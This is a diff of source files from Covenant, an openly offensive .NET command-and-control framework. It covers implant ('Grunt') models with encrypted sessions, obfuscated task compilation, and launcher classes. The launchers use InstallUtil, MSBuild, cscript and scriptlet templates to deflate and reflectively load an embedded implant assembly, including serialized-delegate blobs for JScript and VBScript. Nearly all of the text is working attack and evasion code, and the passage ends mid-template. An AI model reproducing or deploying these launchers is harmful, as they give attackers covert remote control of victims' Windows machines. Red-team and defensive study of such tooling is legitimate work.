GruntStatus Status { get; set; } = GruntStatus.Uninitialized; + public IntegrityLevel Integrity { get; set; } = IntegrityLevel.Untrusted; + public string Process { get; set; } = ""; + public string UserDomainName { get; set; } = ""; + public string UserName { get; set; } = ""; + public string IPAddress { get; set; } = ""; + public string OperatingSystem { get; set; } = ""; + + public string GruntSharedSecretPassword { get; set; } = Utilities.CreateSecretPassword(); + public string GruntRSAPublicKey { get; set; } = ""; + public string GruntNegotiatedSessionKey { get; set; } = ""; + public string GruntChallenge { get; set; } = ""; + public string CookieAuthKey { get; set; } = Utilities.CreateSecretPassword(); + + public static Grunt Create(API.Models.Grunt gruntModel) + { + return new Grunt + { + Id = gruntModel.Id ?? default, + ListenerId = gruntModel.ListenerId ?? default, + Name = gruntModel.Name ?? default, + DotNetFrameworkVersion = (Common.DotNetVersion)Enum.Parse(typeof(Common.DotNetVersion), gruntModel.DotNetFrameworkVersion.ToString()), + CovenantIPAddress = gruntModel.CovenantIPAddress ?? default, + Delay = gruntModel.Delay ?? default, + Jitter = gruntModel.Jitter ?? default, + ConnectAttempts = gruntModel.ConnectAttempts ?? default, + LastCheckIn = gruntModel.LastCheckIn ?? default, + Status = (GruntStatus)Enum.Parse(typeof(GruntStatus), gruntModel.Status.ToString()), + Integrity = (IntegrityLevel)Enum.Parse(typeof(IntegrityLevel), gruntModel.Integrity.ToString()), + Process = gruntModel.Process, + UserDomainName = gruntModel.UserDomainName, + UserName = gruntModel.UserName, + GruntSharedSecretPassword = gruntModel.GruntSharedSecretPassword, + GruntRSAPublicKey = gruntModel.GruntRSAPublicKey, + GruntNegotiatedSessionKey = gruntModel.GruntNegotiatedSessionKey, + GruntChallenge = gruntModel.GruntChallenge, + IPAddress = gruntModel.IpAddress, + OperatingSystem = gruntModel.OperatingSystem, + CookieAuthKey = gruntModel.CookieAuthKey + }; + } + + public API.Models.Grunt ToModel() + { + return new API.Models.Grunt + { + Id = this.Id, + ListenerId = this.ListenerId, + Name = this.Name, + DotNetFrameworkVersion = (API.Models.DotNetVersion)Enum.Parse(typeof(API.Models.DotNetVersion), this.DotNetFrameworkVersion.ToString()), + CovenantIPAddress = this.CovenantIPAddress, + Delay = this.Delay, + Jitter = this.Jitter, + ConnectAttempts = this.ConnectAttempts, + LastCheckIn = this.LastCheckIn, + Status = (API.Models.GruntStatus)Enum.Parse(typeof(API.Models.GruntStatus), this.Status.ToString()), + Integrity = (API.Models.IntegrityLevel)Enum.Parse(typeof(API.Models.IntegrityLevel), this.Integrity.ToString()), + Process = this.Process, + UserDomainName = this.UserDomainName, + UserName = this.UserName, + GruntSharedSecretPassword = this.GruntSharedSecretPassword, + GruntRSAPublicKey = this.GruntRSAPublicKey, + GruntNegotiatedSessionKey = this.GruntNegotiatedSessionKey, + GruntChallenge = this.GruntChallenge, + IpAddress = this.IPAddress, + OperatingSystem = this.OperatingSystem, + CookieAuthKey = this.CookieAuthKey + }; + } + + public byte[] RSAEncrypt(byte[] toEncrypt) + { + return Encrypt.Utilities.RSAEncrypt(toEncrypt, Common.CovenantEncoding.GetString(Convert.FromBase64String(this.GruntRSAPublicKey))); + } + + // Returns IV (16 bytes) + EncryptedData byte array + public byte[] SessionEncrypt(byte[] data) + { + return Encrypt.Utilities.AesEncrypt(data, Convert.FromBase64String(this.GruntNegotiatedSessionKey)); + } + + // Data should be of format: IV (16 bytes) + EncryptedBytes + public byte[] SessionDecrypt(byte[] data) + { + return Encrypt.Utilities.AesDecrypt(data, Convert.FromBase64String(this.GruntNegotiatedSessionKey)); + } + // Convenience method for decrypting a GruntEncryptedMessage + public byte[] SessionDecrypt(GruntEncryptedMessage gruntEncryptedMessage) + { + return this.SessionDecrypt(Convert.FromBase64String(gruntEncryptedMessage.IV) + .Concat(Convert.FromBase64String(gruntEncryptedMessage.EncryptedMessage)).ToArray()); + } + + public byte[] SessionHash(byte[] data) + { + return Encrypt.Utilities.ComputeHMAC(data, Convert.FromBase64String(this.GruntNegotiatedSessionKey)); + } + + private static string GenerateName() + { + return Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10); + } + } + + public class GruntEncryptedMessage : Encrypt.EncryptedMessagePacket + { + public enum GruntEncryptedMessageType + { + Stage0, + Stage1, + Stage2, + Register, + GetTask, + PostTask, + Deliver + } + + public int Id { get; set; } + public string Name { get; set; } + public GruntEncryptedMessageType Type { get; set; } = GruntEncryptedMessageType.GetTask; + public string Meta { get; set; } = ""; + + private static GruntEncryptedMessage Create(int gruntId, string gruntName, byte[] message, byte[] key) + { + byte[] encryptedMessagePacket = Encrypt.Utilities.AesEncrypt(message, key); + byte[] encryptionIV = encryptedMessagePacket.Take(Common.AesIVLength).ToArray(); + byte[] encryptedMessage = encryptedMessagePacket.TakeLast(encryptedMessagePacket.Length - Common.AesIVLength).ToArray(); + byte[] hmac = Encrypt.Utilities.ComputeHMAC(encryptedMessage, key); + return new GruntEncryptedMessage + { + Id = gruntId, + Name = gruntName, + Type = GruntEncryptedMessageType.Deliver, + EncryptedMessage = Convert.ToBase64String(encryptedMessage), + IV = Convert.ToBase64String(encryptionIV), + HMAC = Convert.ToBase64String(hmac) + }; + } + + public static GruntEncryptedMessage Create(Grunt grunt, byte[] message, byte[] key) + { + return Create(grunt.Id, grunt.Name, message, key); + } + + public static GruntEncryptedMessage Create(Grunt grunt, byte[] message) + { + return Create(grunt, message, Convert.FromBase64String(grunt.GruntNegotiatedSessionKey)); + } + + } +} diff --git a/Covenant/Models/Grunts/GruntTask.cs b/Covenant/Models/Grunts/GruntTask.cs new file mode 100644 index 00000000..26913373 --- /dev/null +++ b/Covenant/Models/Grunts/GruntTask.cs @@ -0,0 +1,44 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System; +using System.Linq; +using System.Collections.Generic; + +namespace Covenant.Models.Grunts +{ + public class GruntTask + { + public int Id { get; set; } + + public string Name { get; set; } = "GenericTask"; + public string Description { get; set; } = "A generic GruntTask."; + + private List _referenceAssemblies = new List { }; + // Split into comma-delimited list to easily save as text in the Database + public String ReferenceAssemblies { + get { return String.Join(',', _referenceAssemblies); } + set { _referenceAssemblies = value.Split(',').Where(V => V.Length > 0).ToList(); } + } + + public class GruntTaskOption + { + public int Id { get; set; } + public int TaskId { get; set; } + public int OptionId { get; set; } + public string Name { get; set; } + public string Description { get; set; } + public string Value { get; set; } + } + + public List Options { get; set; } = new List { }; + + public string Code { get; set; } = ""; + + public List GetReferenceAssemblies() + { + return _referenceAssemblies; + } + } +} diff --git a/Covenant/Models/Grunts/GruntTasking.cs b/Covenant/Models/Grunts/GruntTasking.cs new file mode 100644 index 00000000..aa8ce0af --- /dev/null +++ b/Covenant/Models/Grunts/GruntTasking.cs @@ -0,0 +1,124 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis; + +using Covenant.Core; + +namespace Covenant.Models.Grunts +{ + public class GruntTasking + { + public enum GruntTaskingStatus + { + Uninitialized, + Tasked, + Progressed, + Completed + } + + public enum GruntTaskingType + { + Assembly, + Set, + Kill + } + + public class GruntTaskingMessage + { + public GruntTaskingType type { get; set; } + public string Name { get; set; } + public string message { get; set; } + } + + public int Id { get; set; } + public string Name { get; set; } = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10); + public int TaskId { get; set; } + public int GruntId { get; set; } + + public GruntTaskingStatus status { get; set; } = GruntTaskingStatus.Uninitialized; + public GruntTaskingType type { get; set; } = GruntTaskingType.Assembly; + public string GruntTaskOutput { get; set; } = ""; + + public GruntTaskingMessage TaskingMessage + { + get + { + if (this.type == GruntTaskingType.Assembly) + { + return new GruntTaskingMessage + { + type = GruntTaskingType.Assembly, + Name = this.Name, + message = this.GruntTaskingAssembly + }; + } + else if(this.type == GruntTaskingType.Set) + { + string message = ""; + switch (SetType) + { + case GruntSetTaskingType.Delay: message = GruntSetTaskingType.Delay + "," + Value; break; + case GruntSetTaskingType.Jitter: message = GruntSetTaskingType.Jitter + "," + Value; break; + case GruntSetTaskingType.ConnectAttempts: message = GruntSetTaskingType.ConnectAttempts + "," + Value; break; + default: message = ""; break; + } + return new GruntTaskingMessage + { + type = GruntTaskingType.Set, + Name = this.Name, + message = message + }; + } + else if (this.type == GruntTaskingType.Kill) + { + return new GruntTaskingMessage + { + type = GruntTaskingType.Kill, + Name = this.Name, + message = "kill" + }; + } + return null; + } + } + + // Base64-encoded compressed task assembly bytes + public string GruntTaskingAssembly { get; private set; } = ""; + public string Compile(string TaskCode, List Parameters, List ReferenceAssemblies, Common.DotNetVersion dotNetFrameworkVersion) + { + List references = Common.SharpSploitReferences; + references.AddRange(Common.DefaultReferences); + byte[] compiled = Compiler.Compile(new Compiler.CompilationRequest + { + Source = TaskCode, + SourceDirectory = Common.CovenantSrcDirectory, + ResourceDirectory = Common.CovenantResourceDirectory, + ReferenceDirectory = Common.CovenantReferenceDirectory, + TargetDotNetVersion = dotNetFrameworkVersion, + References = references, + EmbeddedResources = Common.SharpSploitEmbeddedResources, + Confuse = true + }); + + this.GruntTaskingAssembly = Convert.ToBase64String(Utilities.Compress(compiled)); + foreach(string Parameter in Parameters) + { + this.GruntTaskingAssembly += "," + Convert.ToBase64String(Common.CovenantEncoding.GetBytes(Parameter)); + } + return this.GruntTaskingAssembly; + } + + public enum GruntSetTaskingType + { + Delay, + Jitter, + ConnectAttempts + } + public GruntSetTaskingType SetType { get; set; } = GruntSetTaskingType.Delay; + public string Value { get; set; } = ""; + } +} diff --git a/Covenant/Models/Indicators/Indicator.cs b/Covenant/Models/Indicators/Indicator.cs new file mode 100644 index 00000000..a40e7bd9 --- /dev/null +++ b/Covenant/Models/Indicators/Indicator.cs @@ -0,0 +1,83 @@ +using System; + +namespace Covenant.Models.Indicators +{ + public class Indicator + { + public int Id { get; set; } + public string Name { get; set; } + } + + public class FileIndicator : Indicator + { + public string FileName { get; set; } = ""; + public string FilePath { get; set; } = ""; + + public string SHA2 { get; set; } = ""; + public string SHA1 { get; set; } = ""; + public string MD5 { get; set; } = ""; + + public FileIndicator() + { + this.Name = "FileIndicator"; + } + + public override string ToString() + { + string output = ""; + if (FileName != "") { output += FileName; } + if (FilePath != "") { output += FilePath; } + if (SHA2 != "") { output += SHA2; } + if (SHA1 != "") { output += SHA1; } + if (MD5 != "") { output += MD5; } + + return output; + } + } + + public class NetworkIndicator : Indicator + { + public string Protocol { get; set; } = ""; + public string Domain { get; set; } = ""; + public string IPAddress { get; set; } = ""; + public int Port { get; set; } = 0; + public string URI { get; set; } = ""; + + public NetworkIndicator() + { + this.Name = "NetworkIndicator"; + } + + public override string ToString() + { + string output = ""; + if (Protocol != "") { output += Protocol; } + if (Domain != "") { output += Domain; } + if (IPAddress != "") { output += IPAddress; } + if (Port != 0) { output += Port; } + if (URI != "") { output += URI; } + + return output; + } + } + + public class TargetIndicator : Indicator + { + public string ComputerName { get; set; } = ""; + public string UserName { get; set; } = ""; + + public TargetIndicator() + { + this.Name = "TargetIndicator"; + } + + public override string ToString() + { + string output = ""; + if (ComputerName != "") { output += ComputerName; } + if (UserName != "") { output += UserName; } + + return output; + } + } +} diff --git a/Covenant/Models/Launchers/BinaryLauncher.cs b/Covenant/Models/Launchers/BinaryLauncher.cs new file mode 100644 index 00000000..77a7b768 --- /dev/null +++ b/Covenant/Models/Launchers/BinaryLauncher.cs @@ -0,0 +1,44 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System; +using System.Linq; +using Microsoft.CodeAnalysis; + +using Covenant.Models.Listeners; +using Covenant.Models.Grunts; + +namespace Covenant.Models.Launchers +{ + public class BinaryLauncher : Launcher + { + public BinaryLauncher() + { + this.Type = LauncherType.Binary; + this.Description = "Uses a generated .NET Framework binary to launch a Grunt."; + this.Name = "Binary"; + this.OutputKind = OutputKind.ConsoleApplication; + } + + public override string GetLauncher(Listener listener, Grunt grunt, HttpProfile profile) + { + this.StagerCode = listener.GetGruntStagerCode(grunt, profile); + this.Base64ILByteString = listener.CompileGruntStagerCode(grunt, profile, this.OutputKind); + this.LauncherString = this.Base64ILByteString; + return this.LauncherString; + } + + public override string GetHostedLauncher(Listener listener, HostedFile hostedFile) + { + HttpListener httpListener = (HttpListener)listener; + if (httpListener != null) + { + Uri hostedLocation = new Uri(httpListener.Url + hostedFile.Path); + this.LauncherString = hostedFile.Path.Split("\\").Last().Split("/").Last(); + return hostedLocation.ToString(); + } + else { return ""; } + } + } +} diff --git a/Covenant/Models/Launchers/CscriptLauncher.cs b/Covenant/Models/Launchers/CscriptLauncher.cs new file mode 100644 index 00000000..61a9098c --- /dev/null +++ b/Covenant/Models/Launchers/CscriptLauncher.cs @@ -0,0 +1,43 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System; +using System.Linq; +using Microsoft.CodeAnalysis; + +using Covenant.Models.Listeners; + +namespace Covenant.Models.Launchers +{ + public class CscriptLauncher : ScriptletLauncher + { + public CscriptLauncher() + { + this.Name = "Cscript"; + this.Type = LauncherType.Cscript; + this.Description = "Uses cscript.exe to launch a Grunt using a COM activated Delegate and ActiveXObjects."; + this.ScriptType = ScriptletType.Plain; + this.OutputKind = OutputKind.DynamicallyLinkedLibrary; + } + + protected override string GetLauncher(String code) + { + string launcher = "cscript" + " " + "file.js"; + this.LauncherString = launcher; + return this.LauncherString; + } + + public override string GetHostedLauncher(Listener listener, HostedFile hostedFile) + { + HttpListener httpListener = (HttpListener)listener; + if (httpListener != null) + { + string launcher = "cscript" + " " + hostedFile.Path.Split('/').Last(); + this.LauncherString = launcher; + return launcher; + } + else { return ""; } + } + } +} diff --git a/Covenant/Models/Launchers/InstallUtilLauncher.cs b/Covenant/Models/Launchers/InstallUtilLauncher.cs new file mode 100644 index 00000000..e3da9a7f --- /dev/null +++ b/Covenant/Models/Launchers/InstallUtilLauncher.cs @@ -0,0 +1,92 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System; +using System.Linq; +using System.Collections.Generic; +using Microsoft.CodeAnalysis; + +using Covenant.Models.Grunts; +using Covenant.Models.Listeners; +using Covenant.Core; + +namespace Covenant.Models.Launchers +{ + public class InstallUtilLauncher : DiskLauncher + { + public InstallUtilLauncher() + { + this.Name = "InstallUtil"; + this.Type = LauncherType.InstallUtil; + this.Description = "Uses installutil.exe to start a Grunt via Uninstall method."; + this.OutputKind = OutputKind.WindowsApplication; + } + + public override string GetLauncher(Listener listener, Grunt grunt, HttpProfile profile) + { + this.StagerCode = listener.GetGruntStagerCode(grunt, profile); + this.Base64ILByteString = listener.CompileGruntStagerCode(grunt, profile, this.OutputKind, true); + string code = CodeTemplate.Replace("{{GRUNT_IL_BYTE_STRING}}", this.Base64ILByteString); + + List references = Common.DefaultReferences; + references.Add(new Compiler.Reference + { + File = "System.Configuration.Install.dll", + Framework = grunt.DotNetFrameworkVersion, + Enabled = true + }); + this.DiskCode = Convert.ToBase64String(Compiler.Compile(new Compiler.CompilationRequest + { + Source = code, + ResourceDirectory = Common.CovenantResourceDirectory, + ReferenceDirectory = Common.CovenantReferenceDirectory, + TargetDotNetVersion = grunt.DotNetFrameworkVersion, + OutputKind = OutputKind.DynamicallyLinkedLibrary, + References = references + })); + + this.LauncherString = "InstallUtil.exe" + " " + "/U" + " " + "file.dll"; + return this.LauncherString; + } + + public override string GetHostedLauncher(Listener listener, HostedFile hostedFile) + { + HttpListener httpListener = (HttpListener)listener; + if (httpListener != null) + { + Uri hostedLocation = new Uri(httpListener.Url + hostedFile.Path); + this.LauncherString = "InstallUtil.exe" + " " + "/U" + " " + hostedFile.Path.Split('/').Last(); + return hostedLocation.ToString(); + } + else { return ""; } + } + + private static string CodeTemplate = +@"using System; +class Program +{ + static void Main(string[] args) + { + } +} +[System.ComponentModel.RunInstaller(true)] +public class Sample : System.Configuration.Install.Installer +{ + public override void Uninstall(System.Collections.IDictionary savedState) + { + var oms = new System.IO.MemoryStream(); + var ds = new System.IO.Compression.DeflateStream(new System.IO.MemoryStream(System.Convert.FromBase64String(""{{GRUNT_IL_BYTE_STRING}}"")), System.IO.Compression.CompressionMode.Decompress); + var by = new byte[1024]; + var r = ds.Read(by, 0, 1024); + while (r > 0) + { + oms.Write(by, 0, r); + r = ds.Read(by, 0, 1024); + } + System.Reflection.Assembly.Load(oms.ToArray()).EntryPoint.Invoke(0, new object[] { }); + } + +}"; + } +} diff --git a/Covenant/Models/Launchers/Launcher.cs b/Covenant/Models/Launchers/Launcher.cs new file mode 100644 index 00000000..f51b7c81 --- /dev/null +++ b/Covenant/Models/Launchers/Launcher.cs @@ -0,0 +1,228 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System; +using System.Linq; +using System.Collections.Generic; +using Microsoft.CodeAnalysis; + +using Covenant.Core; +using Covenant.Models.Grunts; +using Covenant.Models.Listeners; + +namespace Covenant.Models.Launchers +{ + public class Launcher + { + public enum LauncherType + { + Wmic, + Regsvr32, + Mshta, + Cscript, + Wscript, + PowerShell, + Binary, + MSBuild, + InstallUtil + } + + public int Id { get; set; } + public int ListenerId { get; set; } + public Common.DotNetVersion DotNetFrameworkVersion { get; set; } = Common.DotNetVersion.Net35; + public string LauncherString { get; set; } = ""; + public LauncherType Type { get; set; } + public string Name { get; set; } = "GenericLauncher"; + public string Description { get; set; } = "A generic launcher."; + public int Delay { get; set; } = 5; + public int Jitter { get; set; } = 0; + public int ConnectAttempts { get; set; } = 1000; + public string StagerCode { get; set; } = ""; + public string Base64ILByteString { get; set; } = ""; + + public virtual string GetLauncher(Listener listener, Grunt grunt, HttpProfile profile) { return ""; } + public virtual string GetHostedLauncher(Listener listener, HostedFile hostedFile) { return ""; } + + protected OutputKind OutputKind { get; set; } = OutputKind.DynamicallyLinkedLibrary; + } + + public abstract class DiskLauncher : Launcher + { + public string DiskCode { get; set; } + } + + public abstract class ScriptletLauncher : DiskLauncher + { + public enum ScriptingLanguage + { + JScript, + VBScript + } + + protected enum ScriptletType + { + Plain, + Scriptlet, + TaggedScript, + Stylesheet + } + + public ScriptingLanguage ScriptLanguage { get; set; } = ScriptingLanguage.JScript; + public string ProgId { get; set; } = Utilities.CreateSecureGuid().ToString(); + + protected ScriptletType ScriptType { get; set; } = ScriptletType.Scriptlet; + + public override string GetLauncher(Listener listener, Grunt grunt, HttpProfile profile) + { + this.StagerCode = listener.GetGruntStagerCode(grunt, profile); + this.Base64ILByteString = listener.CompileGruntStagerCode(grunt, profile, this.OutputKind, false); + + // Credit DotNetToJscript (tyranid - James Forshaw) + byte[] serializedDelegate = Convert.FromBase64String(FrontBinaryFormattedDelegate).Concat(Convert.FromBase64String(this.Base64ILByteString)).Concat(Convert.FromBase64String(EndBinaryFormattedDelegate)).ToArray(); + int ofs = serializedDelegate.Length % 3; + if (ofs != 0) + { + int length = serializedDelegate.Length + (3 - ofs); + Array.Resize(ref serializedDelegate, length); + } + string base64Delegate = Convert.ToBase64String(serializedDelegate); + int lineLength = 80; + List splitString = new List(); + for (int i = 0; i < base64Delegate.Length; i += lineLength) + { + splitString.Add(base64Delegate.Substring(i, Math.Min(lineLength, base64Delegate.Length - i))); + } + + string language = ""; + string code = ""; + if (this.ScriptLanguage == ScriptingLanguage.JScript) + { + string DelegateBlock = String.Join("\"+\r\n\"", splitString.ToArray()); + code = JScriptTemplate.Replace(Environment.NewLine, "\r\n").Replace("{{REPLACE_GRUNT_IL_BYTE_STRING}}", DelegateBlock); + language = "JScript"; + } + else if(this.ScriptLanguage == ScriptingLanguage.VBScript) + { + string DelegateBlock = String.Join("\"\r\ns = s & \"", splitString.ToArray()); + code = VBScriptTemplate.Replace(Environment.NewLine, "\r\n").Replace("{{REPLACE_GRUNT_IL_BYTE_STRING}}", DelegateBlock); + if (this.ScriptType == ScriptletType.Stylesheet) + { + code = ""; + } + language = "VBScript"; + } + + if (this.ScriptType == ScriptletType.Plain) + { + this.DiskCode = code; + } + else if (this.ScriptType == ScriptletType.Scriptlet || this.ScriptType == ScriptletType.TaggedScript) + { + string TaggedScript = TaggedScriptTemplate.Replace(Environment.NewLine, "\r\n").Replace("{{REPLACE_SCRIPT_LANGUAGE}}", language); + TaggedScript = TaggedScript.Replace("{{REPLACE_SCRIPT}}", code); + if (this.ScriptType == ScriptletType.TaggedScript) + { + this.DiskCode = TaggedScript; + } + else + { + this.DiskCode = ScriptletCodeTemplate.Replace(Environment.NewLine, "\r\n").Replace("{{REPLACE_TAGGED_SCRIPT}}", TaggedScript).Replace("{{REPLACE_PROGID}}", this.ProgId); + } + } + else if (this.ScriptType == ScriptletType.Stylesheet) + { + this.DiskCode = StylesheetCodeTemplate.Replace(Environment.NewLine, "\r\n").Replace("{{REPLACE_SCRIPT_LANGUAGE}}", language); + this.DiskCode = DiskCode.Replace("{{REPLACE_SCRIPT}}", code); + } + + if (this.DotNetFrameworkVersion == Common.DotNetVersion.Net35) + { + this.DiskCode = this.DiskCode.Replace("{{REPLACE_VERSION_SETTER}}", ""); + } + else if (this.DotNetFrameworkVersion == Common.DotNetVersion.Net40) + { + this.DiskCode = this.DiskCode.Replace("{{REPLACE_VERSION_SETTER}}", JScriptNet40VersionSetter); + } + return GetLauncher(this.DiskCode); + } + + protected abstract String GetLauncher(String code); + + // Super ghetto - BinaryFormatter cannot seralize a Delegate in dotnet core. Instead, using a + // raw, previously binary-formatted Delegate created in dotnet framework, and replacing the assembly bytes. + protected static string FrontBinaryFormattedDelegate = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyBAAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDAHbWV0aG9kMQMHAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkCAAAACQMAAAAJBAAAAAkFAAAABAIAAAAwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BwAAAAR0eXBlCGFzc2VtYmx5BnRhcmdldBJ0YXJnZXRUeXBlQXNzZW1ibHkOdGFyZ2V0VHlwZU5hbWUKbWV0aG9kTmFtZQ1kZWxlZ2F0ZUVudHJ5AQECAQEBAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkGBgAAANoBU3lzdGVtLkNvbnZlcnRlcmAyW1tTeXN0ZW0uQnl0ZVtdLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GBwAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGCAAAAAd0YXJnZXQwCQcAAAAGCgAAABpTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseQYLAAAABExvYWQJDAAAAA8DAAAAABoAAAI="; + + protected static string EndBinaryFormattedDelegate = "BAQAAAAvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIHAAAABE5hbWUMQXNzZW1ibHlOYW1lCUNsYXNzTmFtZQlTaWduYXR1cmUKU2lnbmF0dXJlMgpNZW1iZXJUeXBlEEdlbmVyaWNBcmd1bWVudHMBAQEBAQADCA1TeXN0ZW0uVHlwZVtdCQsAAAAJBwAAAAkKAAAABhAAAAAvU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkgTG9hZChCeXRlW10sIEJ5dGVbXSkGEQAAAD1TeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSBMb2FkKFN5c3RlbS5CeXRlW10sIFN5c3RlbS5CeXRlW10pCAAAAAoBBQAAAAQAAAAGEgAAAAhUb1N0cmluZwkHAAAABhQAAAAOU3lzdGVtLkNvbnZlcnQGFQAAACVTeXN0ZW0uU3RyaW5nIFRvU3RyaW5nKFN5c3RlbS5PYmplY3QpBhYAAAAlU3lzdGVtLlN0cmluZyBUb1N0cmluZyhTeXN0ZW0uT2JqZWN0KQgAAAAKAQwAAAACAAAABhcAAAAvU3lzdGVtLlJ1bnRpbWUuUmVtb3RpbmcuTWVzc2FnaW5nLkhlYWRlckhhbmRsZXIJBwAAAAoJBwAAAAkUAAAACRIAAAAKCw=="; + + protected static String TaggedScriptTemplate = +@""; + protected static String ScriptletCodeTemplate = +@" + + {{REPLACE_TAGGED_SCRIPT}} + +"; + private static String StylesheetCodeTemplate = +@" + +{{REPLACE_SCRIPT}} + +"; + protected static String JScriptTemplate = +@"function toStream(bytes) { + var encoder = new ActiveXObject(""System.Text.ASCIIEncoding""); + var length = encoder.GetByteCount_2(bytes); + var transformedBytes = encoder.GetBytes_4(bytes); + var transform = new ActiveXObject(""System.Security.Cryptography.FromBase64Transform""); + transformedBytes = transform.TransformFinalBlock(transformedBytes, 0, length); + var stream = new ActiveXObject(""System.IO.MemoryStream""); + stream.Write(transformedBytes, 0, (length / 4) * 3); + stream.Position = 0; + return stream; +} + +{{REPLACE_VERSION_SETTER}} +var assembly_str = ""{{REPLACE_GRUNT_IL_BYTE_STRING}}""; +var stream = toStream(assembly_str); +var formatter = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'); +var array = new ActiveXObject('System.Collections.ArrayList'); +var delegate = formatter.Deserialize_2(stream); +array.Add(undefined); +var o = delegate.DynamicInvoke(array.ToArray()).CreateInstance('Grunt.GruntStager');"; + protected static string JScriptNet40VersionSetter = +@"var s = new ActiveXObject('Wscript.Shell'); +s.Environment('Process')('COMPLUS_Version') = 'v4.0.30319';"; + + protected static String VBScriptTemplate = +@"Function Base64ToStream(bytes) + Dim encoder, length, transform, stream + Set encoder = CreateObject(""System.Text.ASCIIEncoding"") + length = encoder.GetByteCount_2(bytes) + Set transform = CreateObject(""System.Security.Cryptography.FromBase64Transform"") + Set stream = CreateObject(""System.IO.MemoryStream"") + stream.Write transform.TransformFinalBlock(encoder.GetBytes_4(bytes), 0, length), 0, ((length / 4) * 3) + stream.Position = 0 + Set Base64ToStream = stream +End Function + +{{REPLACE_VERSION_SETTER}} +Dim s +s = ""{{REPLACE_GRUNT_IL_BYTE_STRING}}"" + +Dim formatter, array, delegate, output +Set formatter = CreateObject(""System.Runtime.Serialization.Formatters.Binary.BinaryFormatter"") +Set array = CreateObject(""System.Collections.ArrayList"") +array.Add Empty + +Set delegate = formatter.Deserialize_2(Base64ToStream(s)) +Set output = delegate.DynamicInvoke(array.ToArray()).CreateInstance(""Grunt.GruntStager"")"; + protected static String VBScriptNet40VersionSetter = +@"Dim shell, ver + Set shell = CreateObject(""WScript.Shell"") + ver = ""v4.0.30319"" + shell.Environment(""Process"").Item(""COMPLUS_Version"") = ver"; + } +} diff --git a/Covenant/Models/Launchers/MSBuildLauncher.cs b/Covenant/Models/Launchers/MSBuildLauncher.cs new file mode 100644 index 00000000..abc88caf --- /dev/null +++ b/Covenant/Models/Launchers/MSBuildLauncher.cs @@ -0,0 +1,79 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System; +using System.Linq; +using Microsoft.CodeAnalysis; + +using Covenant.Models.Grunts; +using Covenant.Models.Listeners; + +namespace Covenant.Models.Launchers +{ + public class MSBuildLauncher : DiskLauncher + { + public string TargetName { get; set; } = "TargetName"; + public string TaskName { get; set; } = "TaskName"; + + public MSBuildLauncher() + { + this.Name = "MSBuild"; + this.Type = LauncherType.MSBuild; + this.Description = "Uses msbuild.exe to launch a Grunt using an in-line task."; + this.OutputKind = OutputKind.WindowsApplication; + } + + public override string GetLauncher(Listener listener, Grunt grunt, HttpProfile profile) + { + this.StagerCode = listener.GetGruntStagerCode(grunt, profile); + this.Base64ILByteString = listener.CompileGruntStagerCode(grunt, profile, this.OutputKind, true); + this.DiskCode = XMLTemplate.Replace("{{GRUNT_IL_BYTE_STRING}}", this.Base64ILByteString); + this.DiskCode = DiskCode.Replace("{{TARGET_NAME}}", this.TargetName); + this.DiskCode = DiskCode.Replace("{{TASK_NAME}}", this.TaskName); + + string launcher = "msbuild.exe" + " " + "file.xml"; + this.LauncherString = launcher; + return this.LauncherString; + } + + public override string GetHostedLauncher(Listener listener, HostedFile hostedFile) + { + HttpListener httpListener = (HttpListener)listener; + if (httpListener != null) + { + string launcher = "msbuild.exe" + " " + hostedFile.Path.Split('/').Last(); + this.LauncherString = launcher; + return launcher; + } + else { return ""; } + } + + private static string XMLTemplate = +@" + + <{{TASK_NAME}}> + + + + + + + 0) + { + oms.Write(by, 0, r); + r = ds.Read(by, 0, 1024); + } + 